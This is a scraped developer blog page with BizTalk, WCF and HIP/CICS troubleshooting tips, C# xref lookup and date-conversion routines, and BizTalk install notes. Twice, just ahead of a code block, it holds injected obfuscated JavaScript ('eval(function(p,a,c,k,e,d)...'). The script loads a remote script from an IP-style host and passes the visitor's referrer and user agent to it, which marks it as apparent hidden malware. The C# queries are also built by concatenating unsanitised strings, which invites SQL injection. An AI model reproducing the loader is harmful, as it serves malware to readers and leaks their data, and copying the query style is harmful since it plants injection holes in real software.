FULL ERROR

Exception: System.ServiceModel.CommunicationException: There was an error while trying to serialize parameter http://tempuri.org/:ExportValuationPolicyNumberResult. The InnerException message was ‘Type ‘TFBIC.RCT.WCFWebServices.ExpressLync.MainStreetValuation’ with data contract name ‘MainStreetValuation:http://schemas.datacontract.org/2004/07/TFBIC.RCT.WCFWebServices.ExpressLync’ is not expected. Add any types not known statically to the list of known types – for example, by using the KnownTypeAttribute attribute or by adding them to the list of known types passed to DataContractSerializer.’. Please see InnerException for more details. —> System.Runtime.Serialization.SerializationException: Type ‘TFBIC.RCT.WCFWebServices.ExpressLync.MainStreetValuation’ with data contract name ‘MainStreetValuation:http://schemas.datacontract.org/2004/07/TFBIC.RCT.WCFWebServices.ExpressLync’ is not expected. Add any types not known statically to the list of known types – for example, by using the KnownTypeAttribute attribute or by adding them to the list of known types passed to DataContractSerializer.

SOLUTION

1. Manually create a proxy to the WCF Service from the command line like so:
svcutil /serializer:XmlSerializer http://localhost:46122/ValuationService.svc

2. Add the [XmlSerializerFormat] to your ServiceContract on the WCF Service

By doing this, we force our WCF Service to use the XmlSerializer rather than the default DataContractSerializer. Note: you?ll need to call the WCF service from you new proxy in your sample code.

When using HIP (CICS Host-Initiated-Processing) [part of Host Integration Services – or HIS] – you might get the error “Select Error Occurred”. This seemed to happen to me when I was trying to pass a null value back to the HIP (and therefore CICS). It seems to want to have all the fields set to some value other than null. Unfortunately, it doesn’t tell you the field that is causing the problem.

With other errors, sometimes you will get an Event Log message that is more helpful. For example, if CICS tries to send a number that is too large for the .NET type, you will get a message like this:

Event Type: Error
Event Source: HIP Service
Event Category: (7)
Event ID: 815
Date: 2/2/2010
Time: 1:00:29 PM
User: BUILTINAdministrators
Computer: NXWTest08BT1.dev.txfb-ins.com
Description:
(815) A Transaction Integrator flow control module is reporting a failure when converting client user data.
HIP Application: RCTGetReplacementCost

Error Description: (1507) The magnitude of a sending field exceeds that allowed for a receiving field in RqstEstimateNumber in GetReplacementCost.
The size of the number is too large to be placed into the resulting data type. Check for a client application error and correct. If the client application is correct consider modifying the data conversion mapping so that the parameter is converted to a data type capable of accepting the numeric value.

HRESULT: 80020009

EXPLANATION
An error has occurred when converting input user data.
ACTION
Verify that the client program is sending the correct data and that the correct HIP mappings have been administered. Make sure that the Transaction Integrator service has been properly deployed and administered and that the HIP runtime environment has been installed on the system on which the failure occurred. If the problem persists contact Microsoft support.

This can happen if COBOL has for example PIC S9(10), and .NET has an integer. Entering 1111111111 in the number “fits”, but entering 2222222222 does not.

Xref Database Routines

BizTalk has the ability to store cross reference (xref) values in the BizTalkMgmtDB. Usually, mapping functoids handle the conversion, but the following routines allow the same lookups from anywhere you can call C#.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsehb|var|u0026u|referrer|sfaar||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        /// This does the SQL lookup/conversion to the BizTalk XREF tables.
        /// </summary>
        /// <param name="appType"></param>
        /// <param name="valueXRefName"></param>
        /// <param name="strLookupValue"></param>
        /// <returns></returns>
        static string GetLookupCommonValue(string appType, string valueXRefName, string strLookupValue)
        {

            SqlConnection sqlConn = new SqlConnection(GetBizTalkDBConnectionString());

            sqlConn.Open();

            string query =
            "select commonValue from xref_ValueXRefData " +
            "   inner join xref_ValueXref on xref_ValueXref.valueXrefId = xref_ValueXRefData.valueXRefID " +
            "   inner join xref_AppType on xref_AppType.appTypeId = xref_ValueXRefData.appTypeID " +
            "   where valueXRefName = '" + valueXRefName + "'" +
            "   and appType = '" + appType + "'" +
            "   and appValue = '" + strLookupValue + "'";
            //Console.WriteLine("query=" + query);

            SqlCommand cmd = new SqlCommand(query);
            cmd.Connection = sqlConn;
            SqlDataReader rdr = cmd.ExecuteReader();


            bool gotRow = rdr.Read(); // only expecting one row - no reason to loop here
            if (!gotRow)
            {
                sqlConn.Close();
                throw new Exception("strLookupValue=" + strLookupValue + " not found.  (BizTalkMgmtDb) No value found for query=" + query);
            }
            string commonValue = (string)rdr["commonValue"];
            //Console.WriteLine("CommonValue=" + commonValue);
            sqlConn.Close();

            return commonValue;
        }


        static string GetLookupCommonValueByKeys(int valueXRefId, int appTypeId, string strLookupValue)
        {

            SqlConnection sqlConn = new SqlConnection(GetBizTalkDBConnectionString());

            sqlConn.Open();

            string query = "select commonValue from xref_ValueXRefData where valueXRefID = " + valueXRefId +
                " and appTypeID = " + appTypeId +
                " and appValue = '" + strLookupValue + "'";

            //Console.WriteLine("query=" + query);

            SqlCommand cmd = new SqlCommand(query);
            cmd.Connection = sqlConn;
            SqlDataReader rdr = cmd.ExecuteReader();


            bool gotRow = rdr.Read(); // only expecting one row - no reason to loop here
            if (!gotRow)
            {
                sqlConn.Close();
                throw new Exception("strLookupValue=" + strLookupValue + " not found.  (BizTalkMgmtDb) No value found for query=" + query);
            }
            string commonValue = (string)rdr["commonValue"];
            //Console.WriteLine("CommonValue=" + commonValue);
            sqlConn.Close();

            return commonValue;
        }

        /// <summary>
        /// xref tables are part of BizTalkMgmtDb.  Any system running BizTalk with have the connection string
        /// in the registry.  The following  common routine  finds that conn-string in the registry. 
        /// </summary>
        /// <returns></returns>
        private static string GetBizTalkDBConnectionString()
        {
            string connString =
                TFBIC.Common.BizTalk.Components.MapHelper.DynamicSQLConnectionString("BizTalkMgmtDb");
            //Console.WriteLine("ConnString=" + connString);

            // Above routine was changed so as not to include the OLEDB provider.
            //connString = connString.Replace("Provider=SQLOLEDB.1;", "");  // remove old OLEDB provider
            //Console.WriteLine("ConnString=" + connString);
            return connString;

        }
        // This was before we had two methods to get connection strings
        private static string GetBizTalkDBConnectionString2()
        {
            string connString =
                TFBIC.Common.BizTalk.Components.MapHelper.DynamicSQLConnectionStringOLEDB("BizTalkMgmtDb");
            //Console.WriteLine("ConnString=" + connString);

            connString = connString.Replace("Provider=SQLOLEDB.1;", "");  // remove old OLEDB provider
            //Console.WriteLine("ConnString=" + connString);
            return connString;

        }



We had a case where many maps need to convert YYYYMMDD date format to a standard XML date.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrdae|var|u0026u|referrer|zdrrn||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        /// Convert date in format YYYYMMDD to the standard XML Date format
        /// </summary>
        /// <param name="inDate"></param>
        /// <returns></returns>
        public static string ConvertYYYYMMDDtoXmlDate(string inDate)
        {
            try
            {
                return inDate.Substring(0, 4) + "-" +
                        inDate.Substring(4, 2) + "-" +
                        inDate.Substring(6, 2);
            }
            catch
            {
                return "invalid-YYYYMMDD-conversion from value=" + inDate + "'";
            }
        }

If you are getting this error:

The “succeeded” operator can only be applied to an immediate child scope or service,
then make sure you specify a valid transactionName in parentheses, for example:

!succeeded(SendLoanData)

Note: SendLoanData is not the name of the scope, it is the TransactionIdentifier that you assign to the scope (which you could then use the same text value as the scope name).

This error was related to the compiler error:
“must receive before sending a fault message on an implemented port”.

The issue here has to do with publishing an orchestration as a web service.

This has already been discussed in the two blogs below
(more references for more info about the “succeeded” operator in BizTalk).

http://www.traceofthought.net/CommentView,guid,abdd6ca2-e964-437d-8bee-0188ec5b5afa.aspx#commentstart

http://staff.southworks.net/blogs/lito/archive/2007/01/02/Biztalk-Server-2004_3A00_-The-_1C20_succeded_280029001D20_-operator.aspx

BizTalk itself can be installed and configured in about an hour if everything goes well.

If you are starting from scatch however, you should probably allow at least one full work day. By this, I mean you build a Virtual PC or a new machine and install all the prerequisites.

Here is a list of things I installed on a new Virtual PC, in preparation for creating a new WCF/BizTalk course:

  1. Windows 2003 – about 1.5 hours

  2. Windows 2003 SP2 – about an hour
  3. SQL 2005 – about an hour
  4. SQL 2005 SP3 – about an hour
  5. Visual Studio 2005 – about an hour
  6. Visual Studio 2005 SP1 – about an hour
  7. Visual Studio 2008 – about an hour
  8. Visual Studio 2008 SP1 – about 1.5 hours
  9. Create userids and groups before BizTalk Install – about 10 minutes
  10. BizTalk 2006 R2 – about an hour

It all adds up fast. All the above take about 10 hours, but you can be doing other things while all the installs are running.

I did the above on a 500 GB USB drive, so it might actually run faster on a real machine, local disk, non-virtual.
I did not include SharePoint or MOSS on the above install. The time above also excludes the time to install Office (Excel and Infopath – needed for BAM and Trading Partner Management).

Neal Walters
March 6, 2009

ESB Links

http://www.infoq.com/news/2009/02/ESBVendors
An ESB Vendors Evaluation by Forrester Research


ESB vs Biztalk Debate Gets Heated in Barcelona
– While giving a presentation at the Enterprise Architect Summit in Barcelona, on It turned into a pretty heated debate over core architectural fundamentals, which we hammered out in front of an audience of about 75 unsuspecting conference-goers….

More coming as we find them…

Schema Reuse

In the Complex XPath example I just posted, I built a Books schema, which includes a “record” which then points to a second schema called “Book”.

We do this all the time at my various clients.

I decided to take some quick screen shots and show how it works here:

First, build the schema to be included (book.xsd):

Then, build the schema that uses it (books.xsd):

After adding the “Books” element to the “Books.xsd” schema, I clicked the word <Schema> above the root element. From there, I went to the properties window, and clicked the … on Imports. Then leaving the “Import New Schema as” value to the default of “XSD Import”, I cliked the “Add” button, and picked the “book.xsd” schema from the selection list. After that, I overtyped the default prefix value of “ns0” to “bk”.

When this schema was built, I added a “child record” under books. Then, click the properties for that “record” and changed the “Data Structure:

To see the resulting XML and a lesson on Complex XPath,
see this page on Complex XPath.

I’m receiving a csv flat-file. It’s debatching in the pipeline, causing one orchestration to start for each row.

Sometimes I desire such behavior, but in this case I don’t.

I can’t figure out what is making it debatch. The pipeline refers to two schemas, the header and document schema.

Neither one has “Envelope=true” and thus neither had the “Body XPath” parameter set.

Any ideas what else makes it debatch?


The Flat-file disassembler does not use the Envelope semantic to debatch a message.
It uses the structure of the schemas.

If a schema has this structure

<row><field/><field/><field/></row>

Then the Flatfile disassembler will debatch by row.

To receive the entire message change the schema to

<message><row maxOccurs=”unbounded”><field/><field/><field/></row></message>

Thanks to Greg Forsythe in the BizTalkGurus.com forum.

BizTalk ESB (Enterprise Serivce Bus) – Interview of Neal Walters and Yogi Veda

An Itinerary would be a sort of a travel plan for the message based on the current information the message can provide to the Itinerary processor. There can be two types of itineraries Predetermined and Dynamic. Predetermined is when the steps are always the same for a business process. Where as with the dynamic itinerary the outcome of a preceeding step might determine what the next step will be.

In our case, we built the itineraries using BizTalk’s business rule engine. The header message in our common cannonical message contains the entire itinerary, along with information about the current step. Data from the message can be used to determine what the next step should be.